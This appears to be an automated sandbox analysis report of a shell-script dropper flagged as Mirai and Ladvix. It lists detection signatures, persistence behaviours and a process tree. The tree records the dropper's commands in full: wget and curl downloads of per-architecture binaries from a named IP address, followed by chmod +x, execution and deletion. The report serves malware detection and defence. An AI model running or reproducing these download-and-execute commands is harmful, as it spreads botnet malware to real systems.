Analysis
- max time kernel
149s - max time network
148s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
28/06/2026, 12:49
General
- Target 35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
- Size 4KB
- Sample260628-p2cbaahs7x
- SHA256 35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a
Score
10/10
Malware Config
Signatures
- Family: Ladvix
Ladvix is a linux trojan and file infector first seen in 2022.
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- ladvix 2 IoCs
Detects Ladvix payload
- File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 64 IoCs
- Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Creates/modifies Cron job 1 TTPs 64 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Writes file to system bin folder 5 IoCs
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 64 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh/tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x862⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x862⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x ohshit.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.x86./ohshit.x86 x262⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
-
-
/bin/rmrm -f ohshit.x862⤵
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x ohshit.mips2⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.mips./ohshit.mips x262⤵
- System Network Configuration Discovery
-
-
/bin/rmrm -f ohshit.mips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc2⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x ohshit.arc2⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.arc./ohshit.arc x262⤵
-
-
/bin/rmrm -f ohshit.arc2⤵
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i6862⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i6862⤵
-
-
/bin/chmodchmod +x ohshit.i6862⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.i686./ohshit.i686 x262⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
-
-
/bin/rmrm -f ohshit.i6862⤵
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_642⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_642⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x ohshit.x86_642⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.x86_64./ohshit.x86_64 x262⤵
- Executes dropped EXE
- Writes file to system bin folder
- Writes file to tmp directory
-
/tmp/fileVlVOO8./ohshit.x86_64 x263⤵
- Executes dropped EXE
-
/tmp/filessmqKT./ohshit.x86_64 x264⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileoI3Dui./ohshit.x86_64 x265⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filepHVkcw./ohshit.x86_64 x266⤵
- Executes dropped EXE
- Reads runtime system information
-
/tmp/filebzBLET./ohshit.x86_64 x267⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filejqne5l./ohshit.x86_64 x268⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileTIvPLJ./ohshit.x86_64 x269⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileuzgEIW./ohshit.x86_64 x2610⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileGUNOQk./ohshit.x86_64 x2611⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileSr5gxM./ohshit.x86_64 x2612⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileoXlntb./ohshit.x86_64 x2613⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileTECrzr./ohshit.x86_64 x2614⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filerJzVgP./ohshit.x86_64 x2615⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileJggdSh./ohshit.x86_64 x2616⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filemp6P8x./ohshit.x86_64 x2617⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileCbzrQS./ohshit.x86_64 x2618⤵
- Executes dropped EXE
-
/tmp/fileKEut4j./ohshit.x86_64 x2619⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filegTX1gJ./ohshit.x86_64 x2620⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filetWFToW./ohshit.x86_64 x2621⤵
- Executes dropped EXE
-
/tmp/fileDG1Rej./ohshit.x86_64 x2622⤵
- Executes dropped EXE
-
/tmp/file9OJodI./ohshit.x86_64 x2623⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileNosC60./ohshit.x86_64 x2624⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filel43x2p./ohshit.x86_64 x2625⤵
- Executes dropped EXE
-
/tmp/file0PjFUz./ohshit.x86_64 x2626⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filekIbRQY./ohshit.x86_64 x2627⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filec76c2k./ohshit.x86_64 x2628⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileC7LCEH./ohshit.x86_64 x2629⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filebx0hTR./ohshit.x86_64 x2630⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filexHk6Id./ohshit.x86_64 x2631⤵
- Executes dropped EXE
-
/tmp/fileXvM0UD./ohshit.x86_64 x2632⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/file7yK70V./ohshit.x86_64 x2633⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filegPZpFa./ohshit.x86_64 x2634⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filegDx06s./ohshit.x86_64 x2635⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileOQqI2P./ohshit.x86_64 x2636⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filewwEaEf./ohshit.x86_64 x2637⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileTtUi2r./ohshit.x86_64 x2638⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileTVJJlU./ohshit.x86_64 x2639⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileJnZ33h./ohshit.x86_64 x2640⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filetd1qDJ./ohshit.x86_64 x2641⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filem9pt6Y./ohshit.x86_64 x2642⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileMdt5Cq./ohshit.x86_64 x2643⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileIkmWXN./ohshit.x86_64 x2644⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileSNOvvg./ohshit.x86_64 x2645⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileHusevz./ohshit.x86_64 x2646⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileVTsa0Z./ohshit.x86_64 x2647⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filebo6K6q./ohshit.x86_64 x2648⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileaQ9SvG./ohshit.x86_64 x2649⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filekDEZy7./ohshit.x86_64 x2650⤵
- Executes dropped EXE
-
/tmp/fileu7QEDz./ohshit.x86_64 x2651⤵
- Executes dropped EXE
-
/tmp/filevXHWiO./ohshit.x86_64 x2652⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
-
/tmp/filenM8l1g./ohshit.x86_64 x2653⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
-
/tmp/filezz1zYD./ohshit.x86_64 x2654⤵
- Executes dropped EXE
-
/tmp/fileXDpVT5./ohshit.x86_64 x2655⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
-
/tmp/fileOiJiro./ohshit.x86_64 x2656⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileqDVKWS./ohshit.x86_64 x2657⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileWPz8gg./ohshit.x86_64 x2658⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/file7hRERx./ohshit.x86_64 x2659⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filen6kbwU./ohshit.x86_64 x2660⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileTx8yqp./ohshit.x86_64 x2661⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filelOTn6Q./ohshit.x86_64 x2662⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/file0QMCY9./ohshit.x86_64 x2663⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileGbKONA./ohshit.x86_64 x2664⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/file6Jb6RX./ohshit.x86_64 x2665⤵
-
/tmp/filenT59zg./ohshit.x86_64 x2666⤵
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filebg8cdF./ohshit.x86_64 x2667⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/file5ykgX6./ohshit.x86_64 x2668⤵
- Creates/modifies Cron job
-
/tmp/fileFJThCs./ohshit.x86_64 x2669⤵
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileib077J./ohshit.x86_64 x2670⤵
- Creates/modifies Cron job
-
/tmp/filemusJh5./ohshit.x86_64 x2671⤵
- Writes file to tmp directory
-
/tmp/filesMyxPq./ohshit.x86_64 x2672⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileGonXMM./ohshit.x86_64 x2673⤵
- Writes file to tmp directory
-
/tmp/filep0jR70./ohshit.x86_64 x2674⤵
- Writes file to tmp directory
-
/tmp/file5pBMZj./ohshit.x86_64 x2675⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filehW7JwJ./ohshit.x86_64 x2676⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filevQe1f4./ohshit.x86_64 x2677⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filemBZ8ql./ohshit.x86_64 x2678⤵
- Creates/modifies Cron job
-
/tmp/fileOjbeYG./ohshit.x86_64 x2679⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileckHyO2./ohshit.x86_64 x2680⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filekExUfr./ohshit.x86_64 x2681⤵
-
/tmp/filex41fjL./ohshit.x86_64 x2682⤵
-
/tmp/filev1oGr9./ohshit.x86_64 x2683⤵
- Creates/modifies Cron job
-
/tmp/filedSE0dx./ohshit.x86_64 x2684⤵
- Writes file to tmp directory
-
/tmp/filelxbhHV./ohshit.x86_64 x2685⤵
- Writes file to tmp directory
-
/tmp/file0tzOGf./ohshit.x86_64 x2686⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileo38xAA./ohshit.x86_64 x2687⤵
- Creates/modifies Cron job
-
/tmp/fileeR8jMY./ohshit.x86_64 x2688⤵
- Creates/modifies Cron job
-
/tmp/filerZR9Ue./ohshit.x86_64 x2689⤵
-
/tmp/filelnpSTH./ohshit.x86_64 x2690⤵
- Creates/modifies Cron job
-
/tmp/file97Bbg8./ohshit.x86_64 x2691⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filePqUelt./ohshit.x86_64 x2692⤵
- Writes file to tmp directory
-
/tmp/fileYENv5L./ohshit.x86_64 x2693⤵
- Creates/modifies Cron job
-
/tmp/file6UQRcd./ohshit.x86_64 x2694⤵
- Creates/modifies Cron job
-
/tmp/filesmpbnH./ohshit.x86_64 x2695⤵
- Creates/modifies Cron job
-
/tmp/file356SG0./ohshit.x86_64 x2696⤵
- Creates/modifies Cron job
-
/tmp/filebsllrr./ohshit.x86_64 x2697⤵
-
/tmp/fileRlE1pV./ohshit.x86_64 x2698⤵
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileKXwGfe./ohshit.x86_64 x2699⤵
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileynk9DE./ohshit.x86_64 x26100⤵
- Writes file to tmp directory
-
/tmp/fileYB1fF4./ohshit.x86_64 x26101⤵
- Writes file to tmp directory
-
/tmp/fileWbINCv./ohshit.x86_64 x26102⤵
- Creates/modifies Cron job
- Reads runtime system information
-
/tmp/filerMXxQR./ohshit.x86_64 x26103⤵
-
/tmp/fileVBfgRl./ohshit.x86_64 x26104⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
0
fileVlVOO8
fileVlVOO8
filenSTn2O
ohshit.x86